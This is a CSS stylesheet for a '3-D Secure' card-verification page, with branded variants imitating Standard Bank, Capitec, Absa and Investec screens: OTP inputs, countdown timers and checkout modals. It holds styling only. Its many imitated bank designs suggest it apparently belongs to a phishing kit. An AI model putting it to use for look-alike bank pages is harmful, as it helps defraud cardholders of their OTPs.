/* Bank 3-D Secure — SMS + APP (mobile & PC) */

*, *::before, *::after { box-sizing: border-box; }

html, body { margin: 0; padding: 0; }

body.b3-page {
    --b3-primary: #006633;
    --b3-link: #0b6e7a;
    --b3-bg: #e8eef2;
    --b3-text: #1a1a1a;
    --b3-muted: #6b7280;
    min-height: 100svh;
    font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Arial, Helvetica, sans-serif;
    font-size: 15px;
    color: var(--b3-text);
    background: var(--b3-bg);
    display: flex;
    justify-content: center;
    align-items: flex-start;
}

.b3-sheet {
    width: 100%;
    max-width: 430px;
    min-height: 100svh;
    background: #fff;
    display: flex;
    flex-direction: column;
    position: relative;
}

.b3-close {
    position: absolute;
    top: 10px;
    left: 12px;
    width: 36px;
    height: 36px;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 26px;
    color: #333;
    text-decoration: none;
    z-index: 2;
    line-height: 1;
}

.b3-head {
    display: flex;
    justify-content: space-between;
    align-items: center;
    gap: 12px;
    padding: 28px 20px 8px;
}

.b3-bank-logo {
    height: 48px;
    width: auto;
    max-width: 120px;
    object-fit: contain;
    object-position: left center;
}

.b3-scheme {
    display: flex;
    align-items: center;
    gap: 6px;
}

.b3-scheme-logo {
    height: 28px;
    width: auto;
    max-width: 110px;
    object-fit: contain;
}

.b3-scheme-label {
    font-size: 13px;
    font-weight: 600;
    color: #4b5563;
    white-space: nowrap;
}

.b3-main {
    flex: 1;
    padding: 12px 22px 28px;
}

.b3-title {
    margin: 18px 0 10px;
    text-align: center;
    font-size: 22px;
    font-weight: 700;
    color: #111;
    line-height: 1.25;
}

.b3-lead {
    margin: 0 auto 18px;
    text-align: center;
    font-size: 14px;
    line-height: 1.5;
    color: #374151;
    max-width: 340px;
}

.b3-auth-copy {
    margin: 0 auto 22px;
    text-align: center;
    font-size: 14px;
    line-height: 1.55;
    color: #374151;
    max-width: 360px;
}

.b3-auth-copy strong {
    font-weight: 700;
    color: #111;
}

.b3-timer {
    position: relative;
    width: 118px;
    height: 118px;
    margin: 8px auto 20px;
}

.b3-timer-ring {
    width: 118px;
    height: 118px;
    transform: rotate(-90deg);
}

.b3-timer-track {
    fill: none;
    stroke: #d7ebe0;
    stroke-width: 7;
}

.b3-timer-progress {
    fill: none;
    stroke: var(--b3-primary);
    stroke-width: 7;
    stroke-linecap: round;
    stroke-dasharray: 326.7256;
    stroke-dashoffset: 0;
}

.b3-timer-text {
    position: absolute;
    inset: 0;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 24px;
    font-weight: 700;
    color: var(--b3-primary);
    letter-spacing: 0.02em;
}

.b3-details {
    margin: 0 0 18px;
    padding: 0;
}

.b3-details > div {
    display: flex;
    justify-content: space-between;
    gap: 12px;
    padding: 5px 0;
    font-size: 14px;
}

.b3-details dt {
    margin: 0;
    color: #4b5563;
    font-weight: 500;
}

.b3-details dd {
    margin: 0;
    color: #111;
    font-weight: 600;
    text-align: right;
}

.b3-hint {
    margin: 0 0 22px;
    text-align: center;
    font-size: 13px;
    line-height: 1.45;
    color: #6b7280;
}

.b3-field {
    margin: 0 0 18px;
}

.b3-label {
    display: block;
    text-align: center;
    margin-bottom: 8px;
    font-size: 13px;
    color: #9ca3af;
}

.b3-input {
    display: block;
    width: 100%;
    height: 48px;
    border: 1.5px solid #6b7280;
    border-radius: 2px;
    padding: 0 12px;
    font-size: 18px;
    letter-spacing: 0.2em;
    text-align: center;
    outline: none;
    background: #fff;
}

.b3-input:focus {
    border-color: var(--b3-primary);
    box-shadow: 0 0 0 2px color-mix(in srgb, var(--b3-primary) 25%, transparent);
}

.b3-error {
    margin: 0 0 14px;
    padding: 10px 12px;
    background: #fef2f2;
    border: 1px solid #fecaca;
    color: #b91c1c;
    font-size: 13px;
    text-align: center;
}

.b3-btn {
    display: flex;
    align-items: center;
    justify-content: center;
    width: 100%;
    height: 50px;
    border: none;
    border-radius: 2px;
    background: var(--b3-primary);
    color: #fff;
    font-size: 16px;
    font-weight: 700;
    letter-spacing: 0.06em;
    text-transform: uppercase;
    cursor: pointer;
    text-decoration: none;
}

.b3-btn:disabled {
    opacity: 0.45;
    cursor: not-allowed;
}

.b3-btn:hover:not(:disabled) {
    filter: brightness(1.05);
}

.b3-actions {
    display: flex;
    justify-content: space-between;
    gap: 16px;
    margin: 18px 4px 8px;
}

.b3-actions a,
.b3-cancel {
    color: var(--b3-link);
    font-size: 13px;
    font-weight: 700;
    letter-spacing: 0.04em;
    text-decoration: none;
    text-transform: uppercase;
    background: none;
    border: none;
    cursor: pointer;
    padding: 0;
    font-family: inherit;
}

.b3-actions a:hover,
.b3-cancel:hover {
    text-decoration: underline;
}

.b3-cancel-wrap {
    text-align: center;
    margin: 16px 0 8px;
}

.b3-faq {
    margin-top: 28px;
    border-top: 1px solid #e5e7eb;
}

.b3-faq details {
    border-bottom: 1px solid #e5e7eb;
}

.b3-faq summary {
    list-style: none;
    display: flex;
    justify-content: space-between;
    align-items: center;
    gap: 12px;
    padding: 14px 2px;
    cursor: pointer;
    font-size: 14px;
    color: #1f2937;
}

.b3-faq summary::-webkit-details-marker { display: none; }

.b3-faq-plus {
    color: #2563eb;
    font-size: 18px;
    font-weight: 600;
    line-height: 1;
}

.b3-faq details[open] .b3-faq-plus {
    transform: rotate(45deg);
}

.b3-faq details p {
    margin: 0 0 14px;
    padding: 0 2px;
    font-size: 13px;
    line-height: 1.5;
    color: #6b7280;
}

/* —— Standard Bank APP variant —— */
.b3-sheet--stan {
    background: #fff;
}

.b3-topbar {
    display: flex;
    align-items: center;
    justify-content: center;
    position: relative;
    height: 48px;
    background: #2b2b2b;
    color: #fff;
    font-size: 15px;
    font-weight: 600;
}

.b3-topbar-cancel {
    position: absolute;
    right: 14px;
    top: 50%;
    transform: translateY(-50%);
    color: #fff;
    text-decoration: none;
    font-size: 14px;
    font-weight: 500;
}

.b3-stan-brand {
    display: flex;
    justify-content: center;
    padding: 22px 16px 6px;
}

.b3-stan-brand img {
    height: 36px;
    width: auto;
    max-width: 220px;
    object-fit: contain;
}

.b3-illus {
    display: flex;
    justify-content: center;
    margin: 10px 0 8px;
}

.b3-illus svg {
    width: 120px;
    height: auto;
}

.b3-timer--green .b3-timer-track { stroke: #c8ecd8; }
.b3-timer--green .b3-timer-progress { stroke: #1faa5a; }
.b3-timer--green .b3-timer-text { color: #1faa5a; }

.b3-btn--round {
    border-radius: 28px;
    height: 52px;
}

.b3-payline {
    margin: 0 auto 22px;
    text-align: center;
    font-size: 14px;
    line-height: 1.55;
    color: #222;
    max-width: 340px;
}

/* —— Capitec SMS variant —— */
.b3-back {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    width: 40px;
    height: 40px;
    margin: 6px 8px 0;
    color: #111;
    text-decoration: none;
    font-size: 22px;
}

.b3-head--cap {
    padding-top: 4px;
}

.b3-input--round {
    border-radius: 28px;
    border-color: #c5c9d0;
    height: 52px;
    letter-spacing: 0.08em;
    text-align: left;
    padding: 0 18px;
    font-size: 15px;
}

.b3-input--round::placeholder {
    color: #9aa0a8;
    letter-spacing: 0;
}

.b3-label--left {
    text-align: left;
    color: #8b9199;
    margin-left: 6px;
}

.b3-phone-mask {
    margin: 0 0 18px;
    text-align: center;
    font-size: 14px;
    color: #374151;
    line-height: 1.45;
}

.b3-faq-arrow {
    color: #6b7280;
    font-size: 12px;
}

.b3-faq details[open] .b3-faq-arrow {
    transform: rotate(180deg);
}

/* —— Modal / desktop checkout overlay style —— */
body.b3-page--modal {
    background: rgba(30, 30, 30, 0.55);
    align-items: center;
    padding: 24px 12px;
}

.b3-modal {
    width: 100%;
    max-width: 560px;
    background: #fff;
    border-radius: 6px;
    box-shadow: 0 16px 48px rgba(0, 0, 0, 0.28);
    overflow: hidden;
    min-height: auto;
}

.b3-modal--lg {
    max-width: min(1100px, 96vw);
    min-height: min(78vh, 720px);
}

.b3-modal--lg .b3-modal-bar {
    padding: 16px 52px 14px;
    font-size: 16px;
}

.b3-modal--lg .b3-modal-head {
    padding: 44px 52px 22px;
}

.b3-modal--lg .b3-modal-body {
    padding: 16px 52px 52px;
}

.b3-modal--lg .b3-modal-brand img {
    height: 84px;
    max-width: 340px;
}

.b3-modal--lg .b3-scheme-logo {
    height: 58px !important;
}

.b3-modal--lg .b3-investec-zebra {
    width: 56px;
    height: 56px;
    font-size: 16px;
}

.b3-modal--lg .b3-investec-text strong {
    font-size: 28px;
}

.b3-modal--lg .b3-investec-text span {
    font-size: 14px;
}

.b3-modal--lg .b3-modal-sub {
    font-size: 22px;
    margin: 12px 0 18px;
}

.b3-modal--lg .b3-modal-copy {
    font-size: 20px;
    line-height: 1.75;
    margin-bottom: 28px;
}

.b3-modal--lg .b3-modal-continue {
    font-size: 20px;
    margin-bottom: 48px;
}

.b3-modal--lg .b3-modal-foot {
    font-size: 17px;
    margin-top: 20px;
}

.b3-modal--lg .b3-modal-details h3 {
    font-size: 18px;
}

.b3-modal--lg .b3-modal-details > div {
    font-size: 17px;
    margin-bottom: 12px;
}

.b3-modal--lg .b3-modal-otp-row label {
    font-size: 17px;
    min-width: 160px;
}

.b3-modal--lg .b3-modal-otp-row input {
    height: 48px;
    font-size: 20px;
}

.b3-modal--lg .b3-btn--dark {
    height: 48px;
    min-width: 140px;
    font-size: 16px;
}

.b3-modal--lg .b3-link-blue {
    font-size: 16px;
}

.b3-modal-bar {
    padding: 12px 18px 10px;
    border-bottom: 1px solid #e5e7eb;
    font-size: 13px;
    font-weight: 600;
    color: #374151;
}

.b3-modal-head {
    display: flex;
    justify-content: space-between;
    align-items: center;
    gap: 16px;
    padding: 18px 22px 8px;
}

.b3-modal-brand {
    display: flex;
    align-items: center;
    gap: 10px;
}

.b3-modal-brand img {
    height: 42px;
    width: auto;
    max-width: 180px;
    object-fit: contain;
}

.b3-investec-mark {
    display: flex;
    align-items: center;
    gap: 10px;
}

.b3-investec-zebra {
    width: 36px;
    height: 36px;
    border-radius: 50%;
    background: #111;
    color: #fff;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 11px;
    font-weight: 800;
    letter-spacing: -0.02em;
}

.b3-investec-text strong {
    display: block;
    font-size: 18px;
    font-weight: 700;
    color: #111;
    line-height: 1.1;
}

.b3-investec-text span {
    display: block;
    font-size: 11px;
    color: #6b7280;
    font-style: italic;
}

.b3-modal-body {
    padding: 8px 22px 22px;
}

.b3-modal-sub {
    margin: 8px 0 12px;
    font-size: 16px;
    font-weight: 700;
    color: #111;
}

.b3-modal-copy {
    margin: 0 0 16px;
    font-size: 14px;
    line-height: 1.55;
    color: #1f2937;
}

.b3-modal-continue {
    margin: 0 0 22px;
    font-size: 14px;
    line-height: 1.5;
    color: #1f2937;
}

.b3-modal-continue a {
    color: #1d4ed8;
    text-decoration: underline;
    font-weight: 600;
}

.b3-modal-foot {
    display: flex;
    justify-content: space-between;
    align-items: center;
    gap: 12px;
    margin-top: 8px;
    font-size: 13px;
}

.b3-modal-foot a {
    color: #1d4ed8;
    text-decoration: none;
}

.b3-modal-foot a:hover {
    text-decoration: underline;
}

.b3-modal-foot .muted {
    color: #6b7280;
}

.b3-modal-details {
    margin: 0 0 16px;
}

.b3-modal-details h3 {
    margin: 0 0 10px;
    font-size: 14px;
    font-weight: 700;
}

.b3-modal-details > div {
    display: flex;
    gap: 10px;
    margin-bottom: 8px;
    font-size: 14px;
}

.b3-modal-details dt {
    margin: 0;
    min-width: 140px;
    color: #111;
    font-weight: 600;
}

.b3-modal-details dd {
    margin: 0;
    color: #222;
}

.b3-modal-otp-row {
    display: flex;
    align-items: center;
    gap: 10px;
    margin: 10px 0 18px;
}

.b3-modal-otp-row label {
    min-width: 140px;
    font-size: 14px;
    font-weight: 600;
}

.b3-modal-otp-row input {
    flex: 1;
    height: 36px;
    border: 1px solid #9ca3af;
    border-radius: 2px;
    padding: 0 10px;
    font-size: 15px;
    letter-spacing: 0.12em;
}

.b3-modal-actions {
    display: flex;
    align-items: center;
    justify-content: space-between;
    gap: 12px;
    margin-top: 8px;
}

.b3-btn--dark {
    background: #111;
    border-radius: 2px;
    height: 40px;
    padding: 0 28px;
    width: auto;
    min-width: 110px;
    text-transform: none;
    letter-spacing: 0.02em;
    font-size: 14px;
}

.b3-link-blue {
    color: #1d4ed8;
    text-decoration: underline;
    font-size: 13px;
    background: none;
    border: none;
    cursor: pointer;
    padding: 0;
    font-family: inherit;
}

@media (max-width: 520px) {
    body.b3-page--modal {
        padding: 0;
        background: #fff;
        align-items: flex-start;
    }

    .b3-modal {
        max-width: none;
        min-height: 100svh;
        border-radius: 0;
        box-shadow: none;
    }
}

/* PC / tablet: floating card */
@media (min-width: 520px) {
    body.b3-page {
        padding: 32px 16px;
        align-items: center;
    }

    .b3-sheet {
        min-height: auto;
        border-radius: 10px;
        box-shadow: 0 12px 36px rgba(15, 23, 42, 0.12);
        overflow: hidden;
    }

    .b3-close { display: none; }

    .b3-sheet--stan {
        border-radius: 10px;
        overflow: hidden;
    }
}

/* ——— Absa SMS / APP (SureCheck) ——— */
body.b3-page--absa {
    --b3-primary: #8b1538;
    background: #d4d4d4;
}

.b3-page--absa .b3-sheet {
    border: 1px solid #9ca3af;
}

.b3-page--absa .b3-close { display: none; }

.b3-page--absa .b3-head {
    padding: 20px 22px 4px;
}

.b3-page--absa .b3-bank-logo {
    height: 56px;
    max-width: 72px;
}

.b3-page--absa .b3-title {
    font-size: 20px;
    margin: 14px 0 16px;
}

.b3-page--absa .b3-lead {
    text-align: left;
    max-width: none;
    margin: 0 0 14px;
    color: #222;
}

.b3-page--absa .b3-details > div {
    justify-content: flex-start;
    gap: 6px;
}

.b3-page--absa .b3-details dt {
    font-weight: 700;
    color: #111;
    min-width: 110px;
}

.b3-page--absa .b3-details dd {
    font-weight: 400;
    text-align: left;
    color: #222;
}

.b3-page--absa .b3-input {
    border-radius: 999px;
    border-color: #111;
    height: 52px;
}

.b3-page--absa .b3-btn {
    border-radius: 999px;
    height: 52px;
    margin-top: 4px;
}

.b3-page--absa .b3-actions {
    margin-top: 18px;
}

.b3-page--absa .b3-actions a,
.b3-page--absa .b3-actions button,
.b3-page--absa .b3-cancel {
    color: #111;
    font-weight: 700;
    font-size: 13px;
    letter-spacing: 0.04em;
    text-decoration: none;
    background: none;
    border: none;
    cursor: pointer;
    font-family: inherit;
}

.b3-page--absa .b3-promo {
    margin: 0 0 18px;
    text-align: center;
    font-size: 13px;
    line-height: 1.45;
    color: #374151;
}

.b3-page--absa .b3-timer-track {
    stroke: #e8d0d8;
}

.b3-page--absa .b3-footer-cancel {
    display: flex;
    align-items: center;
    justify-content: center;
    margin: 24px -22px -28px;
    padding: 18px 22px;
    background: #4a4a4a;
    text-decoration: none;
    color: #fff;
    font-size: 17px;
    font-weight: 600;
}

.b3-page--absa .b3-cancel-wrap {
    margin: 8px 0 16px;
    text-align: center;
}
